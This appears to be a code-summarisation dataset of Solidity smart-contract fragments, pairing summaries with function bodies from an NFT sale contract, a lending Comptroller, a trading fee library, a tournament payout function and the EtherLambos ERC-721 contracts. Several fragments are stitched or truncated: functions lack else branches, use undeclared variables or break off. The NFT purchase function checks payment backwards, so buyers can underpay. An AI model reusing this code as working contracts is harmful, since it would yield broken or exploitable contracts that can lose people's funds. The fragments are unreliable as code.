* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint tokenId)
internal
view
virtual
returns (bool)
{
require(
_exists(tokenId),
"ERC721: operator query for nonexistent token"
);
address owner = ERC721.ownerOf(tokenId);
return (spender == owner ||
getApproved(tokenId) == spender ||
isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint tokenId
) internal virtual {
require(
ERC721.ownerOf(tokenId) == from,
"ERC721: transfer of token that is not own"
);
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try
IERC721Receiver(to).onERC721Received(
_msgSender(),
from,
tokenId,
_data
)
returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert(
"ERC721: transfer to non ERC721Receiver implementer"
);
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint tokenId
) internal virtual {}
}
// File: base/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: TestContracts/testnftFactory.sol
/**
* Author : Lil Ye, Ace, Anyx, Elmontos
*/
pragma solidity ^0.8.0;
contract testNftFactory is Ownable, ERC721, ProxyTarget {
using Strings for uint;
////nfts
mapping (uint => address) public tokenOwner;
mapping (uint=>uint) public actionTimestamp;
//COUNTS
using Counters for Counters.Counter;
Counters.Counter private tokenId_;
//SALES
bool public isPresale = true;
uint public SUP_THRESHOLD = 10000;
//todo place the finalised price
// To-change -> from 0 eth to 0.069 eth
uint public HungerBrainz_MAINSALE_PRICE = 0.069 ether; //priceInMainSale
mapping(address=>uint) public userPurchase;
//AMOUNT
uint[2] public amount;
//CONTRACT
GameEngine game;
IERC20 SUP;
IWhitelist whitelist;
IMetadata metadataHandler;
IVRF randomNumberGenerated;
function initialize(address _gameAddress, address _tokenAddress,address _whitelist,address _metadata,address _vrf) external {
require(msg.sender == _getAddress(ADMIN_SLOT), "not admin");
_name = "HungerBrainz";
_symbol = "HBZ";
_owner = msg.sender;
HungerBrainz_MAINSALE_PRICE = 0.069 ether;
isPresale = true;
SUP_THRESHOLD = 10000;
game = GameEngine(_gameAddress);
SUP = IERC20(_tokenAddress);
whitelist = IWhitelist(_whitelist);
metadataHandler = IMetadata(_metadata);
randomNumberGenerated = IVRF(_vrf);
}
function currentTokenID() external view returns(uint){
return tokenId_.current();
}
function tokenOwnerSetter(uint tokenId, address owner_) external {
require(_msgSender() == address(game));
tokenOwner[tokenId] = owner_;
}
function setContract(address _gameAddress, address _tokenAddress,address _whitelist,address _metadata,address _vrf) external onlyOwner {
game = GameEngine(_gameAddress);
SUP = IERC20(_tokenAddress);
whitelist = IWhitelist(_whitelist);
metadataHandler = IMetadata(_metadata);
randomNumberGenerated = IVRF(_vrf);
}
function burnNFT(uint tokenId) external {
require (_msgSender() == address(game), "Not GameAddress");
//console.log("Tries burning");
_burn(tokenId);
}
function setTimeStamp(uint tokenId) external {
require(msg.sender == address(game));
actionTimestamp[tokenId] = randomNumberGenerated.getCurrentIndex();
}
function setPresale(bool presale) external onlyOwner{
isPresale = presale;
}
function setSupThreshold(uint newThreshold) external onlyOwner {
SUP_THRESHOLD = newThreshold;
}
function buyAndStake(bool stake,uint8 tokenType, uint tokenAmount,address receiver) external payable {
// By calling this function, you agreed that you have read and accepted the terms & conditions
// available at this link: https://hungerbrainz.com/terms
require (HungerBrainz_MAINSALE_PRICE*tokenAmount >= msg.value, "INSUFFICIENT_ETH");
require(tokenType < 2,"Invalid type");
require(tokenId_.current() <= SUP_THRESHOLD,"Buy using SUP");
if(isPresale){
require(msg.sender == address(whitelist),"Not whitelisted");
require(userPurchase[receiver] + tokenAmount <= 3,"Purchase limit");
}
else{
require(msg.sender != address(whitelist),"Not presale");
require(userPurchase[msg.sender] + tokenAmount <= 13,"Purchase limit");
receiver = msg.sender;
}
if (isApprovedForAll(_msgSender(),address(game))==false) {
setApprovalForAll(address(game), true);
}
amount[tokenType] = amount[tokenType]+tokenAmount;
userPurchase[receiver] += tokenAmount;
if(stake)
for (uint i=0; i<tokenAmount; i++) {
tokenId_.increment();
_safeMint(address(game),tokenId_.current());
metadataHandler.addMetadata(1,tokenType,tokenId_.current());
tokenOwner[tokenId_.current()] = receiver;
game.alertStake(tokenId_.current());
}
else{
for (uint i =0;i<tokenAmount;i++) {
tokenId_.increment();
_safeMint(receiver, tokenId_.current());
metadataHandler.addMetadata(1,tokenType,tokenId_.current());
tokenOwner[tokenId_.current()]=receiver;
}
}
}
function buyUsingSUPAndStake(bool stake, uint8 tokenType, uint tokenAmount) external {
// By calling this function, you agreed that you have read and accepted the terms & conditions
// available at this link: https://hungerbrainz.com/terms
require(tokenType < 2,"Invalid type");
require(tokenId_.current() > SUP_THRESHOLD,"Buy using Eth");
SUP.transferFrom(_msgSender(), address(this), tokenAmount*1000 ether);
SUP.burn(tokenAmount* 1000 ether); //1000 ether
amount[tokenType] = amount[tokenType]+tokenAmount;
for (uint i=0; i< tokenAmount; i++) {
if (stake) {
tokenId_.increment();
_safeMint(address(game), tokenId_.current());
metadataHandler.addMetadata(1,tokenType,tokenId_.current());
game.alertStake(tokenId_.current());
}
else {
tokenId_.increment();
_safeMint(msg.sender,tokenId_.current());
metadataHandler.addMetadata(1,tokenType,tokenId_.current());
}
tokenOwner[tokenId_.current()]=msg.sender;
}
}
function tokenOwnerCall(uint tokenId) external view returns (address) {
return tokenOwner[tokenId];
}
function withdraw() external {
uint balance = address(this).balance;
require(balance > 0);
address payable _devAddress = payable (0x3384392f12f90C185a43861E0547aFF77BD5134A);
uint devFees = (balance*(10))/(100);
_devAddress.transfer(devFees);
payable(owner()).transfer(address(this).balance);
}
//Better if Game Address directly calls metadata contract
function restrictedChangeNft(uint tokenID, uint8 nftType, uint8 level, bool canClaim, uint stakedTime, uint lastClaimTime) external {
require(msg.sender == address(game),"Call restricted");
metadataHandler.changeNft(tokenID,nftType,level,canClaim,stakedTime,lastClaimTime);
}
//#endregion
function tokenURI(uint tokenId) public view override(ERC721) returns (string memory) {
require(_exists(tokenId), "Cannot query non-existent token");
return metadataHandler.getTokenURI(tokenId);
}
// function setHungerBrainz_MAINSALE_PRICE(uint _price) external onlyOwner{
// HungerBrainz_MAINSALE_PRICE = _price;
// }
function _transfer(
address from,
address to,
uint tokenId
) internal override{
if(to!=address(game) && to!=tokenOwner[tokenId]){
tokenOwner[tokenId] = to;
}
super._transfer(from,to,tokenId);
}
function _mint(address to, uint tokenId) internal override{
super._mint(to,tokenId);
actionTimestamp[tokenId] = randomNumberGenerated.getCurrentIndex();
}
function _burn(uint tokenId) internal override {
(uint8 nftType,,,,)=metadataHandler.getToken(tokenId);
amount[nftType]--;
tokenOwner[tokenId] = address(0);
super._burn(tokenId);
}
} | See {IERC165-supportsInterface}./ | function getSigner(Whitelist memory whitelist) external view returns(address);
}
pragma solidity ^0.8.0;
}
pragma solidity ^0.8.0;
}
pragma solidity ^0.8.0;
}
pragma solidity ^0.8.0;
}
pragma solidity ^0.8.0;
}
pragma solidity ^0.8.0;
}
pragma solidity ^0.8.0;
{
return interfaceId == type(IERC165).interfaceId;
}
| 5,892,772 |
./partial_match/1/0xa1A7a95d7AD043b356D72b7c5fBE0eF053ba8c13/sources/contracts/Comptroller.sol | Checks if the seizing of assets should be allowed to occur slTokenCollateral Asset which was used as collateral and will be seized slTokenBorrowed Asset which was borrowed by the borrower liquidator The address repaying the borrow and seizing the collateral borrower The address of the borrower seizeTokens The number of collateral tokens to seize/ Pausing is a very serious situation - we revert to sound the alarms Shh - currently unused | function seizeAllowed(
address slTokenCollateral,
address slTokenBorrowed,
address liquidator,
address borrower,
uint seizeTokens) external returns (uint) {
require(!seizeGuardianPaused, "seize is paused");
seizeTokens;
if (!markets[slTokenCollateral].isListed || !markets[slTokenBorrowed].isListed) {
return uint(Error.MARKET_NOT_LISTED);
}
if (SLToken(slTokenCollateral).comptroller() != SLToken(slTokenBorrowed).comptroller()) {
return uint(Error.COMPTROLLER_MISMATCH);
}
distributeSupplierSashimi(slTokenCollateral, borrower, false);
distributeSupplierSashimi(slTokenCollateral, liquidator, false);
return uint(Error.NO_ERROR);
}
| 11,022,788 |
./full_match/56/0xa33a569945650CEEDaBeD1367CA941de3e86cD9c/sources/project:/contracts/diamond/libraries/LibTrading.sol | closeFeeUsd = max(pnlUsd shareP, minCloseFeeP notionalUsd) | function calcCloseFee(
IPairsManager.FeeConfig memory feeConfig, IVault.MarginToken memory mt,
uint256 closeNotionalUsd, int256 pnl
) internal pure returns (uint256) {
if (feeConfig.shareP > 0 && feeConfig.minCloseFeeP > 0) {
uint256 minCloseFeeUsd = closeNotionalUsd * feeConfig.minCloseFeeP;
if (pnl <= 0) {
return minCloseFeeUsd * (10 ** mt.decimals) / (1e5 * 1e10 * mt.price);
uint256 closeFeeUsd = uint256(pnl) * mt.price * feeConfig.shareP * 1e10 / (10 ** mt.decimals);
return closeFeeUsd.max(minCloseFeeUsd) * (10 ** mt.decimals) / (1e5 * 1e10 * mt.price);
}
return closeNotionalUsd * feeConfig.closeFeeP * (10 ** mt.decimals) / (1e4 * 1e10 * mt.price);
}
}
| 3,233,823 |
./full_match/97/0x19c4477608e4AA4Eb914DdE727B41066e24928BC/sources/project_/contracts/game/CyberTitansTournament.sol | Server calls this function and the smartcontract give the prizes according the matrix data Server only reports an array with winners. We calculate the prizes Get the num of players in the tournament Get the prizes array Calculate if we got the minimum assurance token amount for the tournament. Otherwise, the game will add the tokens Get the player's prize Burn the rake and get the fee If we are using litlabtoken, burn the rake If we are using other token, transfer the rake instead of burning | function finalizeTournament(
uint256 _tournamentId,
address[] calldata _winners
) external onlyManager notPaused {
TournamentStruct storage tournament = tournaments[_tournamentId];
address token = tournament.token;
uint256 assuredAmount = tournament.tournamentAssuredAmount;
require(tournament.endDate == 0, "TournamentEnded");
require(token != address(0), "NoTournament");
tournament.endDate = uint64(block.timestamp);
uint24 numOfPlayers = tournament.numOfTokenPlayers + tournament.numOfCTTPlayers;
uint256 index = _getPrizesColumn(numOfPlayers);
require(winners[index] == _winners.length, "BadWinners");
uint256 amountPlayed = tournament.playerBet * tournament.numOfTokenPlayers;
if (amountPlayed < assuredAmount) {
IERC20(token).safeTransferFrom(wallet, address(this), assuredAmount - amountPlayed);
amountPlayed = assuredAmount;
}
do {
uint256 prizePercentage = _getPrize(index, i+1);
uint256 prize = (pot * prizePercentage) / (10 ** 7);
if (prize != 0) IERC20(token).safeTransfer(_winners[i], prize);
unchecked {
++i;
}
} while(i<_winners.length);
if (token == litlabToken) {
ILitlabGamesToken(token).burn(_rake);
IERC20(token).safeTransfer(wallet, _fee);
IERC20(token).safeTransfer(wallet, (_rake + _fee));
}
emit TournamentFinalized(_tournamentId);
}
| 3,261,549 |
//Address: 0xda9f43015749056182352e9dc6d3ee0b6293d80a
//Contract name: EtherLambosCore
//Balance: 0 Ether
//Verification Date: 3/11/2018
//Transacion Count: 155
// CODE STARTS HERE
pragma solidity ^0.4.11;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
/// @author Dieter Shirley <[email protected]> (https://github.com/dete)
contract ERC721 {
// Required methods
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) external view returns (address owner);
function approve(address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
// Optional methods used by ServiceStation contract
function tuneLambo(uint256 _newattributes, uint256 _tokenId) external;
function getLamboAttributes(uint256 _id) external view returns (uint256 attributes);
function getLamboModel(uint256 _tokenId) external view returns (uint64 _model);
// Events
event Transfer(address from, address to, uint256 tokenId);
event Approval(address owner, address approved, uint256 tokenId);
// Optional
// function name() public view returns (string name);
// function symbol() public view returns (string symbol);
// function tokensOfOwner(address _owner) external view returns (uint256[] tokenIds);
// function tokenMetadata(uint256 _tokenId, string _preferredTransport) public view returns (string infoUrl);
// ERC-165 Compatibility (https://github.com/ethereum/EIPs/issues/165)
function supportsInterface(bytes4 _interfaceID) external view returns (bool);
}
/// @title A facet of EtherLamboCore that manages special access privileges.
/// @author Axiom Zen (https://www.axiomzen.co) adapted by Kenny Bania
/// @dev ...
contract EtherLambosAccessControl {
// This facet controls access control for Etherlambos. There are four roles managed here:
//
// - The CEO: The CEO can reassign other roles and change the addresses of our dependent smart
// contracts. It is also the only role that can unpause the smart contract. It is initially
// set to the address that created the smart contract in the EtherLamboCore constructor.
//
// - The CFO: The CFO can withdraw funds from EtherLamboCore and its auction contracts.
//
// - The COO: The COO can release new models for sale.
//
// It should be noted that these roles are distinct without overlap in their access abilities, the
// abilities listed for each role above are exhaustive. In particular, while the CEO can assign any
// address to any role, the CEO address itself doesn't have the ability to act in those roles. This
// restriction is intentional so that we aren't tempted to use the CEO address frequently out of
// convenience. The less we use an address, the less likely it is that we somehow compromise the
// account.
/// @dev Emited when contract is upgraded - See README.md for updgrade plan
event ContractUpgrade(address newContract);
// The addresses of the accounts (or contracts) that can execute actions within each roles.
address public ceoAddress;
address public cfoAddress;
address public cooAddress;
// @dev Keeps track whether the contract is paused. When that is true, most actions are blocked
bool public paused = false;
/// @dev Access modifier for CEO-only functionality
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
/// @dev Access modifier for CFO-only functionality
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
/// @dev Access modifier for COO-only functionality
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
modifier onlyCLevel() {
require(
msg.sender == cooAddress ||
msg.sender == ceoAddress ||
msg.sender == cfoAddress
);
_;
}
/// @dev Assigns a new address to act as the CEO. Only available to the current CEO.
/// @param _newCEO The address of the new CEO
function setCEO(address _newCEO) external onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
/// @dev Assigns a new address to act as the CFO. Only available to the current CEO.
/// @param _newCFO The address of the new CFO
function setCFO(address _newCFO) external onlyCEO {
require(_newCFO != address(0));
cfoAddress = _newCFO;
}
/// @dev Assigns a new address to act as the COO. Only available to the current CEO.
/// @param _newCOO The address of the new COO
function setCOO(address _newCOO) external onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
/*** Pausable functionality adapted from OpenZeppelin ***/
/// @dev Modifier to allow actions only when the contract IS NOT paused
modifier whenNotPaused() {
require(!paused);
_;
}
/// @dev Modifier to allow actions only when the contract IS paused
modifier whenPaused {
require(paused);
_;
}
/// @dev Called by any "C-level" role to pause the contract. Used only when
/// a bug or exploit is detected and we need to limit damage.
function pause() external onlyCLevel whenNotPaused {
paused = true;
}
/// @dev Unpauses the smart contract. Can only be called by the CEO, since
/// one reason we may pause the contract is when CFO or COO accounts are
/// compromised.
/// @notice This is public rather than external so it can be called by
/// derived contracts.
function unpause() public onlyCEO whenPaused {
// can't unpause if contract was upgraded
paused = false;
}
}
/// @title Base contract for EtherLambos. Holds all common structs, events and base variables.
/// @author Axiom Zen (https://www.axiomzen.co) adapted by Kenny Bania
/// @dev ...
contract EtherLambosBase is EtherLambosAccessControl {
/*** EVENTS ***/
/// @dev The Build event is fired whenever a new car model is build by the COO
event Build(address owner, uint256 lamboId, uint256 attributes);
/// @dev Transfer event as defined in current draft of ERC721. Emitted every time a car
/// ownership is assigned, including builds.
event Transfer(address from, address to, uint256 tokenId);
event Tune(uint256 _newattributes, uint256 _tokenId);
/*** DATA TYPES ***/
/// @dev The main EtherLambos struct. Every car in EtherLambos is represented by a copy
/// of this structure, so great care was taken to ensure that it fits neatly into
/// exactly two 256-bit words. Note that the order of the members in this structure
/// is important because of the byte-packing rules used by Ethereum.
/// Ref: http://solidity.readthedocs.io/en/develop/miscellaneous.html
struct Lambo {
// sports-car attributes like max speed, weight etc. are stored here.
// These attributes can be changed due to tuning/upgrades
uint256 attributes;
// The timestamp from the block when this car came was constructed.
uint64 buildTime;
// the Lambo model identifier
uint64 model;
}
// An approximation of currently how many seconds are in between blocks.
uint256 public secondsPerBlock = 15;
/*** STORAGE ***/
/// @dev An array containing the Lambo struct for all Lambos in existence. The ID
/// of each car is actually an index into this array. Note that 0 is invalid index.
Lambo[] lambos;
/// @dev A mapping from car IDs to the address that owns them. All cars have
/// some valid owner address.
mapping (uint256 => address) public lamboIndexToOwner;
// @dev A mapping from owner address to count of tokens that address owns.
// Used internally inside balanceOf() to resolve ownership count.
mapping (address => uint256) ownershipTokenCount;
/// @dev A mapping from LamboIDs to an address that has been approved to call
/// transferFrom(). Each Lambo can only have one approved address for transfer
/// at any time. A zero value means no approval is outstanding.
mapping (uint256 => address) public lamboIndexToApproved;
/// @dev The address of the MarketPlace contract that handles sales of Lambos. This
/// same contract handles both peer-to-peer sales as well as new model sales.
MarketPlace public marketPlace;
ServiceStation public serviceStation;
/// @dev Assigns ownership of a specific Lambo to an address.
function _transfer(address _from, address _to, uint256 _tokenId) internal {
// Since the number of lambos is capped to 2^32 we can't overflow this
ownershipTokenCount[_to]++;
// transfer ownership
lamboIndexToOwner[_tokenId] = _to;
// When creating new lambos _from is 0x0, but we can't account that address.
if (_from != address(0)) {
ownershipTokenCount[_from]--;
// clear any previously approved ownership exchange
delete lamboIndexToApproved[_tokenId];
}
// Emit the transfer event.
Transfer(_from, _to, _tokenId);
}
/// @dev An internal method that creates a new lambo and stores it. This
/// method doesn't do any checking and should only be called when the
/// input data is known to be valid. Will generate both a Build event
/// and a Transfer event.
/// @param _attributes The lambo's attributes.
/// @param _owner The inital owner of this car, must be non-zero
function _createLambo(
uint256 _attributes,
address _owner,
uint64 _model
)
internal
returns (uint)
{
Lambo memory _lambo = Lambo({
attributes: _attributes,
buildTime: uint64(now),
model:_model
});
uint256 newLamboId = lambos.push(_lambo) - 1;
// It's probably never going to happen, 4 billion cars is A LOT, but
// let's just be 100% sure we never let this happen.
require(newLamboId == uint256(uint32(newLamboId)));
// emit the build event
Build(
_owner,
newLamboId,
_lambo.attributes
);
// This will assign ownership, and also emit the Transfer event as
// per ERC721 draft
_transfer(0, _owner, newLamboId);
return newLamboId;
}
/// @dev An internal method that tunes an existing lambo. This
/// method doesn't do any checking and should only be called when the
/// input data is known to be valid. Will generate a Tune event
/// @param _newattributes The lambo's new attributes.
/// @param _tokenId The car to be tuned.
function _tuneLambo(
uint256 _newattributes,
uint256 _tokenId
)
internal
{
lambos[_tokenId].attributes=_newattributes;
// emit the tune event
Tune(
_tokenId,
_newattributes
);
}
// Any C-level can fix how many seconds per blocks are currently observed.
function setSecondsPerBlock(uint256 secs) external onlyCLevel {
//require(secs < cooldowns[0]);
secondsPerBlock = secs;
}
}
/// @title The external contract that is responsible for generating metadata for the cars,
/// it has one function that will return the data as bytes.
contract ERC721Metadata {
/// @dev Given a token Id, returns a byte array that is supposed to be converted into string.
function getMetadata(uint256 _tokenId, string) public view returns (bytes32[4] buffer, uint256 count) {
if (_tokenId == 1) {
buffer[0] = "Hello World! :D";
count = 15;
} else if (_tokenId == 2) {
buffer[0] = "I would definitely choose a medi";
buffer[1] = "um length string.";
count = 49;
} else if (_tokenId == 3) {
buffer[0] = "Lorem ipsum dolor sit amet, mi e";
buffer[1] = "st accumsan dapibus augue lorem,";
buffer[2] = " tristique vestibulum id, libero";
buffer[3] = " suscipit varius sapien aliquam.";
count = 128;
}
}
}
/// @title The facet of the EtherLambosCore contract that manages ownership, ERC-721 (draft) compliant.
/// @author Axiom Zen (https://www.axiomzen.co) adapted by Cryptoknights
/// @dev Ref: https://github.com/ethereum/EIPs/issues/721
contract EtherLambosOwnership is EtherLambosBase, ERC721 {
/// @notice Name and symbol of the non fungible token, as defined in ERC721.
string public constant name = "EtherLambos";
string public constant symbol = "EL";
// The contract that will return lambo metadata
ERC721Metadata public erc721Metadata;
bytes4 constant InterfaceSignature_ERC165 =
bytes4(keccak256('supportsInterface(bytes4)'));
bytes4 constant InterfaceSignature_ERC721 =
bytes4(keccak256('name()')) ^
bytes4(keccak256('symbol()')) ^
bytes4(keccak256('totalSupply()')) ^
bytes4(keccak256('balanceOf(address)')) ^
bytes4(keccak256('ownerOf(uint256)')) ^
bytes4(keccak256('approve(address,uint256)')) ^
bytes4(keccak256('transfer(address,uint256)')) ^
bytes4(keccak256('transferFrom(address,address,uint256)')) ^
bytes4(keccak256('tokensOfOwner(address)')) ^
bytes4(keccak256('tokenMetadata(uint256,string)'));
/// @notice Introspection interface as per ERC-165 (https://github.com/ethereum/EIPs/issues/165).
/// Returns true for any standardized interfaces implemented by this contract. We implement
/// ERC-165 (obviously!) and ERC-721.
function supportsInterface(bytes4 _interfaceID) external view returns (bool)
{
// DEBUG ONLY
//require((InterfaceSignature_ERC165 == 0x01ffc9a7) && (InterfaceSignature_ERC721 == 0x9a20483d));
return ((_interfaceID == InterfaceSignature_ERC165) || (_interfaceID == InterfaceSignature_ERC721));
}
/// @dev Set the address of the sibling contract that tracks metadata.
/// CEO only.
function setMetadataAddress(address _contractAddress) public onlyCEO {
erc721Metadata = ERC721Metadata(_contractAddress);
}
// Internal utility functions: These functions all assume that their input arguments
// are valid. We leave it to public methods to sanitize their inputs and follow
// the required logic.
/// @dev Checks if a given address is the current owner of a particular Lambo.
/// @param _claimant the address we are validating against.
/// @param _tokenId kitten id, only valid when > 0
function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) {
return lamboIndexToOwner[_tokenId] == _claimant;
}
/// @dev Checks if a given address currently has transferApproval for a particular Lambo.
/// @param _claimant the address we are confirming Lambo is approved for.
/// @param _tokenId lambo id, only valid when > 0
function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) {
return lamboIndexToApproved[_tokenId] == _claimant;
}
/// @dev Marks an address as being approved for transferFrom(), overwriting any previous
/// approval. Setting _approved to address(0) clears all transfer approval.
/// NOTE: _approve() does NOT send the Approval event. This is intentional because
/// _approve() and transferFrom() are used together for putting Lambos on sale, and
/// there is no value in spamming the log with Approval events in that case.
function _approve(uint256 _tokenId, address _approved) internal {
lamboIndexToApproved[_tokenId] = _approved;
}
/// @notice Returns the number of Lambos owned by a specific address.
/// @param _owner The owner address to check.
/// @dev Required for ERC-721 compliance
function balanceOf(address _owner) public view returns (uint256 count) {
return ownershipTokenCount[_owner];
}
/// @notice Transfers a Lambo to another address. If transferring to a smart
/// contract be VERY CAREFUL to ensure that it is aware of ERC-721 (or
/// EtherLambos specifically) or your Lambo may be lost forever. Seriously.
/// @param _to The address of the recipient, can be a user or contract.
/// @param _tokenId The ID of the Lambo to transfer.
/// @dev Required for ERC-721 compliance.
function transfer(
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
// Safety check to prevent against an unexpected 0x0 default.
require(_to != address(0));
// Disallow transfers to this contract to prevent accidental misuse.
// The contract should never own any lambos.
require(_to != address(this));
// Disallow transfers to the auction contracts to prevent accidental
// misuse. Marketplace contracts should only take ownership of Lambos
// through the allow + transferFrom flow.
require(_to != address(marketPlace));
// You can only send your own car.
require(_owns(msg.sender, _tokenId));
// Reassign ownership, clear pending approvals, emit Transfer event.
_transfer(msg.sender, _to, _tokenId);
}
/// @notice Grant another address the right to transfer a specific Lambo via
/// transferFrom(). This is the preferred flow for transfering NFTs to contracts.
/// @param _to The address to be granted transfer approval. Pass address(0) to
/// clear all approvals.
/// @param _tokenId The ID of the Lambo that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function approve(
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
// Only an owner can grant transfer approval.
require(_owns(msg.sender, _tokenId));
// Register the approval (replacing any previous approval).
_approve(_tokenId, _to);
// Emit approval event.
Approval(msg.sender, _to, _tokenId);
}
/// @notice Transfer a Lambo owned by another address, for which the calling address
/// has previously been granted transfer approval by the owner.
/// @param _from The address that owns the Lambo to be transfered.
/// @param _to The address that should take ownership of the Lambo. Can be any address,
/// including the caller.
/// @param _tokenId The ID of the Lambo to be transferred.
/// @dev Required for ERC-721 compliance.
function transferFrom(
address _from,
address _to,
